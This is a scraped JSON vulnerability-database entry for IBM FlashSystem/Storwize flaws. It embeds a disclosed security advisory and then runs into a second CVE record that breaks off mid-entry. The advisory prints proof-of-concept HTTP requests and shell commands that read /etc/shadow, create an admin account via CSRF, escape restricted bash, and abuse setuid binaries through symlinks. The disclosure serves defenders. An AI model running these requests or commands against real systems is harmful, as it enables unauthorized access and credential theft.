"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Jan Bee, Sebastian Neuner",
"sources": [
{
"db": "PACKETSTORM",
"id": "147601"
}
],
"trust": 0.1
},
"cve": "CVE-2018-1495",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "NVD",
"availabilityImpact": "PARTIAL",
"baseScore": 5.5,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.0,
"impactScore": 4.9,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:P",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "Single",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 5.5,
"confidentialityImpact": "None",
"exploitabilityScore": null,
"id": "CVE-2018-1495",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 5.5,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.0,
"id": "VHN-125160",
"impactScore": 4.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:N/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.0"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 6.5,
"baseSeverity": "Medium",
"confidentialityImpact": "None",
"exploitabilityScore": null,
"id": "CVE-2018-1495",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "Low",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2018-1495",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "psirt@us.ibm.com",
"id": "CVE-2018-1495",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201805-971",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-125160",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125160"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "IBM FlashSystem V840 and V900 products could allow an authenticated attacker with specialized access to overwrite arbitrary files which could cause a denial of service. IBM X-Force ID: 141148. IBM FlashSystem V840 and V900 The product contains vulnerabilities related to authorization, permissions, and access control. Vendors have confirmed this vulnerability IBM X-Force ID: 141148 It is released as.Service operation interruption (DoS) There is a possibility of being put into a state. Both IBM FlashSystem V840 and V900 are all-flash enterprise-level storage solutions of IBM Corporation in the United States. The solution provides a full set of disaster recovery tools (including snapshot, clone and replication) to protect data security and use IBM Virtual Storage Center to realize virtualization configuration and performance management. Vulnerabilities in IBMs Flashsystems and Storwize Products\n-------------------------------------------------------------------------\n\nIntroduction\n============\nVulnerabilities were identified in the IBM Flashsystem 840, IBM Flashsystem\n900 and IBM Storwize V7000. These were discovered during a black box\nassessment and therefore the vulnerability list should not be considered\nexhaustive; observations suggest that it is likely that further\nvulnerabilities exist. It is strongly recommended that IBM Corporation\nundertakes a full whitebox security assessment of this application. \n\nThe version under test was indicated as: 1.6.2.2 build 18\n\nAffected Software And Versions\n==============================\n- IBM Flashsystem 900\n- IBM Flashsystem 840\n- IBM Storwize V7000\n\nAffected versions are indicated directly within the reported issues. \n\nCVE\n===\nThe following CVEs were assigned to the issues described in this report:\nCVE-2018-1438\nCVE-2018-1433\nCVE-2018-1434\nCVE-2018-1462\nCVE-2018-1463\nCVE-2018-1464\nCVE-2018-1495\nCVE-2018-1467\nCVE-2018-1465\nCVE-2018-1466\nCVE-2018-1461\n\nVulnerability Overview\n======================\n 01. CVE-2018-1438: Unauthenticated arbitrary file read on V7000 Unified\nallowing storage data access\n 02. CVE-2018-1433: Unauthenticated arbitrary file read via the\nDownloadFile Handler / Authenticated arbitrary file read via the\nDownloadFile Handler on v7000 Unified\n 03. CVE-2018-1434: Web interface vulnerable to CSRF\n 04. CVE-2018-1462: rBash ineffective as a security measure\n 05. CVE-2018-1463: World readable credentials and encryption keys\n 06. CVE-2018-1464: Sensitive file disclosure of files readable by root\n 07. CVE-2018-1495: Arbitrary file overwrite\n 08. CVE-2018-1467: Unauthenticated information disclosure\n 09. CVE-2018-1465: Unprivileged web server process may read SSL private\nkey\n 10. CVE-2018-1466: Weak password hashing algorithm used\n 11. CVE-2018-1461: Missing Security Related HTTP Headers\n\n\nVulnerability Details\n=====================\n\n---------------------------------------------\nCVE-2018-1438. Unauthenticated arbitrary file read on V7000 Unified\nallowing storage data access\n---------------------------------------------\n\nOn the IBM V7000 Unified System the web handler /DLSnap does not require\nauthentication and allows to read arbitrary files from the system as\n\"root\", including the data stored in the storage system from the mounted\nshares. \n\nGET /DLSnap?filename=/ibm/\u003credacted\u003e/secret-file.txt HTTP/1.1\nHost: v7ku01\nConnection: close\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n\nHTTP/1.1 200 OK\nServer: Apache-Coyote/1.1\nCache-Control:\nExpires: Wed, 31 Dec 1969 16:00:00 PST\nX-Frame-Options: SAMEORIGIN\nSet-Cookie: SonasSessionID=\u003credacted\u003e; Path=/; Secure; HttpOnly\nContent-disposition: attachment; filename=secret-file.txt\nPragma:\nContent-Type: application/octet-stream\nDate: Tue, 16 Jan 2018 11:12:39 GMT\nConnection: close\nContent-Length: 4\n\n42\n\n--------------------------------------------------\nCVE-2018-1433. Unauthenticated file read via the DownloadFile Handler /\nAuthenticated arbitrary file read via the DownloadFile Handler on v7000\nUnified\n--------------------------------------------------\n\n\nIn case of the following list of products, the DownloadFile handler allows\nunauthenticated file reading under the \"webadmin\" user:\nIBM Flashsystem 900\nIBM Flashsystem 840\nIBM Storwize V7000\n\nExample request:\nGET /DownloadFile?filename=/etc/passwd HTTP/1.1\nHost: v7k01n02\nConnection: close\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\nOn the V7000 Unified the same request handler allows reading arbitrary\nfiles under the \"root\" user, however authentication is required here:\nGET /DownloadFile?filename=/etc/shadow\nHost: v7ku01\nConnection: close\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: \u003credacted\u003e\n\n-----------------------------------------------\nCVE-2018-1434: Web interface vulnerable to CSRF\n-----------------------------------------------\n\nThe main web interface on the V7000 Unified is vulnerable to CSRF and other\ninterfaces seem to be vulnerable as well. This could allow an external\nattacker to execute commands on behalf of a user/administrator of the\nsystem and potentially also access data stored on the system. \n\nExample request (using a cross domain XMLHttpRequest):\nPOST /RPCAdapter HTTP/1.1\nHost: v7ku01\nOrigin: https://www.example.com\nReferer: https://www.example.com/create_admin.html\nContent-Type: text/plain\nConnection: close\nContent-Length: 183\nCookie: \u003credacted\u003e\n\n{\"clazz\":\"com.ibm.evo.rpc.RPCRequest\",\"methodClazz\":\"com.ibm.sonas.gui.logic.AccessRPC\",\"methodName\":\"launchCreateUserTask\",\"methodArgs\":[\"my-secadmin\",\"\u003credacted\u003e\",[\"Administrator\"]]}\n\n\nResponse:\nHTTP/1.1 200 OK\nServer: Apache-Coyote/1.1\nX-Frame-Options: SAMEORIGIN\nContent-Type: application/json;charset=UTF-8\nContent-Length: 319\nConnection: close\n\n{\"clazz\":\"com.ibm.evo.rpc.RPCResponse\",\"messages\":null,\"result\":{\"clazz\":\"com.ibm.sonas.gui.logic.tasks.access.CreateUserTask\",\"shouldBeScheduled\":true,\"started\":1516202190188,\"id\":\"\u003credacted\u003e\",\"name\":\"Create\nUser\", \"state\":\"Running\",\"status\":\"Task\nstarted.\",\"progress\":-1,\"returnValue\": null}}\n\n---------------------------------------------\nCVE-2018-1462: Ineffective rBash Configuration\n---------------------------------------------\n\nOn machines with a restricted bash, a possible escape from rBash looks like\nthe following:\nBASH_CMDS[escape]=/bin/bash;escape\n\n--------------------------------------------------\nCVE-2018-1463: World readable credentials and encryption keys\n--------------------------------------------------\n\nWhile some systems have removed the world-read bit from several files and\ndirectories, more important files which contain application configuration\ndetails, passwords and secret keys are world readable and sometimes also\nworld writable. On the IBM Flash System, this also includes the storage\nencryption key. \n\n# Partial directory listing of /persist/ on the Unified system:\ndrwxr-xr-x. 2 root root 4096 Jan 18 01:35 . \ndrwxr-xr-x. 29 root root 4096 Aug 15 16:16 .. \n-rw-r--r--. 1 root root 27040 Jan 16 08:28 vpd\n... \n\n# Partial directory listing of /mnt/plfs on the Flash system:\ndrwxrwxrwx 4 root root 0 Dec 31 1969 . \ndrwxr-x--x 7 root root 1024 Jan 8 07:41 .. \n-rw-rw-rw- 1 root root 24 Oct 24 2016 encryption.key\n\n-----------------------------------------------\nCVE-2018-1464: Sensitive file disclosure of files readable by root\n-----------------------------------------------\n\nThe setuid binary svc_copy is a wrapper around the script sw_copy which\ncalls cp on the shell. \n\nCreating a symlink to any file, this file can be copied as root to /dumps\nand is world readable/writable (-rw-rw-rw- ):\n\n$ ln -s /etc/shadow /tmp/shadow\n$ ./svc_copy /tmp/shadow /dumps/\n\nThe file /dumps/shadow is now world readable with the permissions\n(-rw-rw-rw- )\n\n---------------------------------------------\nCVE-2018-1495: Arbitrary file deletion\n---------------------------------------------\n\nThe setuid binary log_cleanup is a wrapper around log_cleanup.py\n\nThis binary wipes the directories /dumps or /tmp and has an undocumented\nfeature \"-s\" (delete target of symlink). \n\nThe following command deletes an arbitrary file (e.g. /etc/shadow):\n$ ln -s /etc/shadow /tmp/shadow\n$ ./log_cleanup -s\nSelect /tmp as target directory to be wiped\n\n--------------------------------------------------\nCVE-2018-1467: Unauthenticated information disclosure\n--------------------------------------------------\n\nSome web handlers on the V7000 Unified expose system configuration without\nauthentication which could be used by an attacker to collect vital details\nabout the environment. \n\nhttps://v7ku01/SonasInfoServlet?challenge=1\nCLUSTER_ID=\u003credacted\u003e;NAME=\u003credacted\u003e.ibm;PROFILE=V7000\nUnified;SYSTEM_NAME=\u003credacted\u003e.ibm;mgmt001st001=\u003credacted\u003e;mgmt002st001=\u003credacted\u003e;idMapConfig=10000000-299999999,1000000;adHost\u003credacted\u003e;krbMode=off;domain=\u003credacted\u003e;idMapRole=master;realm=\u003credacted\u003e;userName=\u003credacted\u003e;idMappingMethod=auto;passwordServer=*;AUTH_TYPE=ad;IDMAP_10000000-10999999=ALLOC,ALLOC,auto;IDMAP_11000000-11999999=BUILTIN,S-1-5-32,auto;IDMAP_12000000-12999999=\u003credacted\u003e,S-1-5-21-\u003credacted\u003e,auto;IDMAP_13000000-13999999=\u003credacted\u003e,S-1-5-21-\u003credacted\u003e,auto;\nCHALLENGE \u003credacted\u003e\n\n\n-----------------------------------------------\nCVE-2018-1465: Unprivileged web server process may read SSL private key\n-----------------------------------------------\n\nThe current private key for the installed SSL certificate on the V7000 FC\nCE Cannister Node is readable by the webadmin user:\n-rw-r----- 1 webadmin 1000 1679 Aug 15 09:47 /dev/server.key\n\nAs a result the file can be read through vulnerabilities in the web\napplication, e.g. via the DownloadFile handler (see separate issue). \n\nCertificate details:\nValidity: 15 years\nSubject: C=GB, L=Hursley, O=IBM, OU=SSG, CN=2076,\nemailAddress=support@ibm.com\n\n---------------------------------------------\nCVE-2018-1466: Weak password hashing algorithm used\n---------------------------------------------\n\nThe root password on the V7000 (CE) FC Cannister and Flash System nodes\n(and probably others, too) are hashed with a weak algorithm (DES) instead\nof the SHA512 which is the system\u0027s default according to /etc/login.defs. \n\n--------------------------------------------------\nCVE-2018-1461: Missing Security Related HTTP Headers\n--------------------------------------------------\n\nXSS Protection HTTP Header\nThe XSS Filter is a feature that is built into modern web browsers and is\nmeant to prevent reflective Cross Site Scripting attacks. This feature can\nbe explicitly turned on (and also off) by using the HTTP header\nX-XSS-Protection. \n\nX-Content-Type Header\nTo make MIME type confusion attacks harder, the HTTP header\nX-Content-Type-Options can be set. This header prevents trusting the user\nprovided MIME type and instead guessing the MIME type of the server\nresponse. \n\nAuthor\n======\nThe vulnerabilities were discovered by Sebastian Neuner (@sebastian9er) and\nJan Bee from the Google Security Team. \n\nTimeline\n========\n2018/01/26 - Security report sent to psirt@us.ibm.com with 90 day\ndisclosure deadline (2018/04/26). \n2018/01/29 - IBM acknowledges report and starts working on the issues. \n2018/04/13 - IBM requested grace period due to internal patch cycle. \n2018/04/16 - Google granted two week grace period (from 2018/04/26 to\n2018/05/11). \n2018/05/11 - Public disclosure on the Full Disclosure/Bugtraq Mailing List",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "VULHUB",
"id": "VHN-125160"
},
{
"db": "PACKETSTORM",
"id": "147601"
}
],
"trust": 1.8
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-1495",
"trust": 2.6
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-125160",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "147601",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125160"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "PACKETSTORM",
"id": "147601"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"id": "VAR-201805-0351",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-125160"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T11:41:21.313000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "S1012280",
"trust": 0.8,
"url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1s1012280"
},
{
"title": "S1012281",
"trust": 0.8,
"url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1s1012281"
},
{
"title": "ibm-flashsystem-cve20181495-dos (141148)",
"trust": 0.8,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/141148"
},
{
"title": "IBM FlashSystem V840 and V900 Product security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=81162"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-269",
"trust": 1.1
},
{
"problemtype": "CWE-264",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125160"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.7,
"url": "http://www.ibm.com/support/docview.wss?uid=ssg1s1012280"
},
{
"trust": 1.7,
"url": "http://www.ibm.com/support/docview.wss?uid=ssg1s1012281"
},
{
"trust": 1.7,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/141148"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1495"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-1495"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1438"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1463"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1464"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1465"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1467"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1433"
},
{
"trust": 0.1,
"url": "https://www.example.com/create_admin.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1434"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1462"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1466"
},
{
"trust": 0.1,
"url": "https://www.example.com"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-1461"
},
{
"trust": 0.1,
"url": "https://v7ku01/sonasinfoservlet?challenge=1"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-125160"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "PACKETSTORM",
"id": "147601"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-125160"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"db": "PACKETSTORM",
"id": "147601"
},
{
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-05-29T00:00:00",
"db": "VULHUB",
"id": "VHN-125160"
},
{
"date": "2018-07-30T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"date": "2018-05-14T17:23:39",
"db": "PACKETSTORM",
"id": "147601"
},
{
"date": "2018-05-29T17:29:00.387000",
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"date": "2018-05-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-10-09T00:00:00",
"db": "VULHUB",
"id": "VHN-125160"
},
{
"date": "2018-07-30T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-005792"
},
{
"date": "2019-10-09T23:38:32.850000",
"db": "NVD",
"id": "CVE-2018-1495"
},
{
"date": "2019-10-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "IBM FlashSystem V840 and V900 Vulnerabilities related to authorization, authority, and access control in products",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-005792"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "permissions and access control issues",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201805-971"
}
],
"trust": 0.6
}
}
var-201810-0672
Vulnerability from variot
IBM FlashSystem 900 product GUI allows a specially crafted attack to bypass the authentication requirements of the system, resulting in the ability to remotely change the superuser password. This can be used by an attacker to gain administrative control or to deny service. IBM X-Force ID: 150296. IBM FlashSystem 900 The product contains authentication vulnerabilities. Vendors have confirmed this vulnerability IBM X-Force ID: 150296 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. are all enterprise-level storage solutions of IBM Corporation in the United States. The solution provides a full set of disaster recovery tools (including snapshot, clone and replication) to protect data security and use IBM Virtual Storage Center to realize virtualization configuration and performance management. GUI is one of the Graphical User Interfaces. The following products are affected: IBM FlashSystem 840 MTMs 9840-AE1; FlashSystem 840 MTMs 9843-AE1; FlashSystem 900 MTMs 9840-AE2; FlashSystem 900 MTMs 9840-AE29843-AE2
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201810-0672",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "flashsystem 840",
"scope": "eq",
"trust": 1.6,
"vendor": "ibm",
"version": "1.4"
},
{
"model": "flashsystem 900",
"scope": "eq",
"trust": 1.6,
"vendor": "ibm",
"version": "1.4"
},
{
"model": "flashsystem v840",
"scope": null,
"trust": 0.8,
"vendor": "ibm",
"version": null
},
{
"model": "flashsystem v900",
"scope": null,
"trust": 0.8,
"vendor": "ibm",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-012594"
},
{
"db": "NVD",
"id": "CVE-2018-1822"
},
{
"db": "CNNVD",
"id": "CNNVD-201810-1036"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:ibm:flashsystem_900_firmware:1.4:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:ibm:flashsystem_900:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:ibm:flashsystem_840_firmware:1.4:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:ibm:flashsystem_840:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2018-1822"
}
]
},
"cve": "CVE-2018-1822",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Complete",
"baseScore": 10.0,
"confidentialityImpact": "Complete",
"exploitabilityScore": null,
"id": "CVE-2018-1822",
"impactScore": null,
"integrityImpact": "Complete",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.9,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-128757",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
